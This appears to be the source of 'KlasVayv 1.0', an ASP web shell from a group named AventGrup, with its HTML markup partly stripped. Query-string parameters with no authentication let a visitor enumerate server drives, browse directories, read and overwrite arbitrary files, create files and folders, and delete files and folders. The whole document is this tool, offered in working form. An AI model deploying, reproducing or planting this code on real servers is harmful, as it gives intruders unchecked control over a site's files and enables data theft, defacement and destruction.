<% if request.querystring("usklas") = "1" then on error resume next es=request.querystring("klas") diez=server.urlencode(left(es,(instrRev(es,"\"))-1)) Select case es case "C:" diez="C:" case "D:" diez="D:" end select %> <% else %> <% if request.querystring("dosyakaydet") <> "" then set kaydospos=createobject("scripting.filesystemobject") set kaydoses=kaydospos.createtextfile(request.querystring("dosyakaydet") & request("dosadi")) set kaydoses=nothing set kaydospos=nothing set kaydospos=createobject("scripting.filesystemobject") set kaydoses=kaydospos.opentextfile(request.querystring("dosyakaydet") & request("dosadi"), 2, true) kaydoses.write request("duzenx") set kaydoses=nothing set kaydospos=nothing end if %> <% if request.querystring("yenidosya") <> "" then %>


AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0


www.aventgrup.net 

 Çalışılan Klasör
 <%=response.write(request.querystring("yenidosya"))%>  
 
&klas=<%=request.querystring("yenidosya")%>" name="kaypos">


Dosya Adı :


İçerik : 


 

 

<% else %> <% if request.querystring("klasorac") <> "" then set doses=createobject("scripting.filesystemobject") set es=doses.createfolder(request.querystring("aktifklas") & request("duzenx")) set es=nothing set doses=nothing end if %> <% if request.querystring("klasac") <> "" then set aktifklas=request.querystring("aktifklas") %>


AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0


www.aventgrup.net 

 Çalışılan Alan
 <%=aktifklas%>  
<% else %> <% if request.querystring("suruculer") <> "" then %>
 

  



 

 


AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0


www.aventgrup.net 

 
 
 
Sürücü Adı Boyutu Boş Alan Durum İşlem
<% set klassis =server.createobject("scripting.filesystemobject") set klasdri=klassis.drives %> <% for each dongu in klasdri %> <% if dongu.driveletter <> "A" then if dongu.isready=true then %> <% select case dongu.drivetype case 0 teype="Diğer" case 1 teype="Taşınır" case 2 teype="HDD" case 3 teype="NetWork" case 4 teype="CD-Rom" case 5 teype="FlashMem" end select %>
 <%=dongu.driveletter%>:\ ( <%=dongu.filesystem%> ) <%=Round(dongu.totalsize/(1024*1024),1)%> MB <%=Round(dongu.availablespace/(1024*1024),1)%> MB <%=teype%> 
Gir
<% end if end if %> <% next %>
 

 

 
<% else %> <% if request.querystring("kaydet") <> "" then set dossisx=server.createobject("scripting.filesystemobject") set dosx=dossisx.opentextfile(request.querystring("kaydet"), 2, true) dosx.write request("duzenx") dosx.close set dosyax=nothing set dossisx=nothing end if %> <% if request.querystring("duzenle") <> "" then set dossis=server.createobject("scripting.filesystemobject") set dos=dossis.opentextfile(request.querystring("duzenle"), 1) sedx = dos.readall dos.close set dosya=nothing set dossis=nothing set aktifklas=request.querystring("klas") %>


AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0


www.aventgrup.net 

 Çalışılan Dosya
 <%=response.write(request.querystring("duzenle"))%>  
 
&klas=<%=aktifklas%>" name="kaypos">


 

 

<% else %> <% if request.querystring("klas") <> "" then aktifklas=Request.querystring("klas") if request.querystring("usak") = "1" then aktifklas=aktifklas & "\" end if else aktifklas=server.mappath("/") aktifklas=aktifklas & "\" end if if request.querystring("silklas") <> "" then set sis=createobject("scripting.filesystemobject") silincekklas=request.querystring("silklas") sis.deletefolder(silincekklas) set sis=nothing 'response.write(sil & " Silindi") end if if request.querystring("sildos") <> "" then silincekdos=request.querystring("sildos") set dosx=createobject("scripting.filesystemobject") set dos=dosx.getfile(silincekdos) dos.delete set dos=nothing set dosyasis=nothing end if select case aktifklas case "C:" aktifklas="C:\" case "D:" aktifklas="D:\" case "E:" aktifklas="E:\" case "F:" aktifklas="F:\" case "G:" aktifklas="G:\" case "H:" aktifklas="H:\" case "I:" aktifklas="I:\" case "J:" aktifklas="J:\" case "K:" aktifklas="K:\" end select if aktifklas=("C:") then aktifklas=("C:\") Set FS = CreateObject("Scripting.FileSystemObject") Set klasor = FS.GetFolder(aktifklas) Set altklasorler = klasor.SubFolders Set dosyalar = klasor.files %>


AventGrup©
Avrasya Veri ve NetWork Teknolojileri Geliştirme Grubu

KlasVayv 1.0


www.aventgrup.net 

 Çalışılan Klasör
 <%=response.write(aktifklas)%>

" style="text-decoration: none"> Üst Klasör

 
Sürücüler
Yeni Klasör
Yeni Dosya
 Tür  Dosya Adı

 İşlem

<% For each oge in altklasorler %>

 <%=oge.name%> 

Sil

<% Next %> <% For each oge in dosyalar %>

 <%=oge.name%>         ( <%=Round(oge.size/1024,1)%> KB ) 

Düzenle

Sil

<% Next %> <% if aktifklas=("C:\") then aktifklas=("C:") %> <% end if %> <% end if %> <% end if %> <% end if %> <% end if %>